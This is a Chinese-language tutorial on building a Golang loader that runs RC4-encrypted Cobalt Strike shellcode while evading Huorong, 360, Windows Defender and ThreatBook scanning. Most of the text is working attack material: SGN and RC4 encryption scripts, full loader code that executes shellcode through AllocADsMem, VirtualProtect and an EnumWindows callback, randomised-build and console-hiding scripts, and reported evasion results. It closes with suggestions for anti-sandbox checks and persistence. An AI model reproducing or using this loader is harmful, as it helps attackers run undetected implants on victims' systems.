cs免杀(lodaer1,过国内御三家,微步云查杀)
字数 1171 2025-08-29 22:41:32
CS免杀Loader实现教程(过国内御三家及微步云查杀)
一、技术概述
本教程详细讲解如何实现一个基于Golang的CS(Cobalt Strike)免杀Loader,能够绕过国内主流杀毒软件(火绒、360、Defender)及微步云查杀。该Loader采用多种技术手段:
- RC4加密Shellcode
- 非常规API调用(ActiveDS.dll)
- 内存操作技巧
- 黑框隐藏技术
- 多参数编译混淆
二、环境准备
1. CS版本选择
推荐使用以下版本:
- CS4.9(内存查杀绕过效果最佳)
- vShell(替代方案)
- 不推荐CS4.5(火绒6.0对其内存查杀严格)
2. 工具准备
- SGN:Shellcode加密工具(https://github.com/EgeBalci/sgn)
- Go环境:1.18+版本
- EditBin:Visual Studio自带工具(用于隐藏黑框)
- Python环境:用于辅助脚本运行
三、实现步骤
1. CS配置与启动
./teamserver 192.168.70.129 yawataa CS4.9-10010.profile
- 修改默认端口为1412(已去除特征)
- 使用自定义profile文件
2. Shellcode生成与处理
生成原始Shellcode
- 生成方式选择
raw二进制格式 - 保存为
payload_x64.bin
使用SGN加密
sgn -a 64 -c 1 -o pd.bin payload_x64.bin
参数说明:
-a 64:64位架构-c 1:加密轮数-o pd.bin:输出文件
Shellcode格式转换
使用de.py脚本将二进制转换为Hex字符串:
def read_binary_file(file_path):
try:
with open(file_path, 'rb') as file:
content = file.read()
hex_string = ''.join(f'\\x{byte:02x}' for byte in content)
print(hex_string)
except Exception as e:
print(f"Error: {e}")
if __name__ == "__main__":
read_binary_file("pd.bin")
RC4二次加密
使用rc4en.py进行加密:
from Crypto.Cipher import ARC4
shellcode = b"your_sc"
key = b'a3cb2tg1y!@#'
cipher = ARC4.new(key)
encrypted = cipher.encrypt(shellcode)
hex_bytes = [f"0x{b:02x}" for b in encrypted]
go_code = "var encryptedShellcode = []byte{" + ", ".join(hex_bytes) + "}"
with open('sc.txt', 'w', encoding='utf-8') as f:
f.write(go_code)
3. Loader核心代码
package main
import (
"crypto/rc4"
"golang.org/x/sys/windows"
"syscall"
"unsafe"
)
func main() {
// 1.加载必要DLL
kernel32 := windows.NewLazyDLL("kernel32.dll")
Activeds := syscall.NewLazyDLL("Activeds.dll")
User32 := windows.NewLazyDLL("User32.dll")
// 2.获取API函数
AllocADsMem := Activeds.NewProc("AllocADsMem")
VirtualProtect := kernel32.NewProc("VirtualProtect")
EnumWindows := User32.NewProc("EnumWindows")
RtlCopyMemory := kernel32.NewProc("RtlCopyMemory")
// 3.RC4解密Shellcode
key := []byte("a3cb2tg1y!@#")
sc := []byte{0x41, 0x0b,..., 0xee} // 替换为加密后的Shellcode
cp, _ := rc4.NewCipher(key)
decrypted := make([]byte, len(sc))
cp.XORKeyStream(decrypted, sc)
// 4.内存操作
addr, _, _ := AllocADsMem.Call(uintptr(len(decrypted)))
RtlCopyMemory.Call(addr, (uintptr)(unsafe.Pointer(&decrypted[0])), uintptr(len(decrypted)))
// 5.修改内存属性
oldProtect := 0x40
VirtualProtect.Call(addr, uintptr(len(decrypted)), 0x40, uintptr(unsafe.Pointer(&oldProtect)))
// 6.执行Shellcode
EnumWindows.Call(addr, 0)
}
关键点说明:
- 使用
ActiveDS.dll的AllocADsMem而非VirtualAlloc规避检测 - 通过
EnumWindows回调执行Shellcode - RC4加密密钥硬编码为
a3cb2tg1y!@# 0x40表示PAGE_EXECUTE_READWRITE权限
4. 编译优化
多参数编译脚本
package main
import (
"flag"
"math/rand"
"os/exec"
"time"
)
var buildConfigs = [][]string{
{},
{"-race"},
{"-trimpath"},
{"-ldflags", "-w"},
{"-ldflags", "-s"},
{"-ldflags", "-H=windowsgui"},
{"-ldflags", "-w -s"},
{"-trimpath", "-ldflags", "-w -s"},
{"-ldflags", "-w -s -H=windowsgui"},
{"-trimpath", "-ldflags", "-w -s -H=windowsgui"},
}
func main() {
sourceFile := flag.String("f", "", "Go source file")
flag.Parse()
rand.Seed(time.Now().UnixNano())
for _, params := range buildConfigs {
output := randomName() + ".exe"
args := append([]string{"build", "-o", output}, append(params, *sourceFile)...)
exec.Command("go", args...).Run()
}
}
func randomName() string {
chars := "yanami123456789"
b := make([]byte, 8)
for i := range b {
b[i] = chars[rand.Intn(len(chars))]
}
return string(b)
}
黑框隐藏处理
使用editbin.exe修改子系统:
editbin /SUBSYSTEM:WINDOWS myapp.exe
批量处理脚本:
package main
import (
"os/exec"
"path/filepath"
)
func main() {
filepath.Walk("./result", func(path string, info os.FileInfo, err error) error {
if filepath.Ext(path) == ".exe" {
exec.Command("editbin", "/SUBSYSTEM:WINDOWS", path).Run()
}
return nil
})
}
四、测试结果
- 火绒6.0:绕过内存查杀
- 360安全卫士:显示"无风险"(测试10个样本存活1个)
- Windows Defender:完全绕过
- 微步云查杀:未检测到恶意行为
五、注意事项
- 密钥
a3cb2tg1y!@#需要定期更换 - 不同CS版本需测试内存查杀效果
- 编译参数组合影响免杀效果,需多次尝试
- EditBin需配置到PATH环境变量
- 建议在虚拟机环境中测试
六、进阶优化
- 可添加反沙箱检测逻辑
- 实现流量加密规避网络检测
- 加入持久化机制
- 使用更复杂的加密算法替代RC4
通过以上步骤,即可实现一个能够绕过国内主流杀软的CS Loader。实际效果可能因环境差异而不同,建议根据实际情况调整参数和加密方式。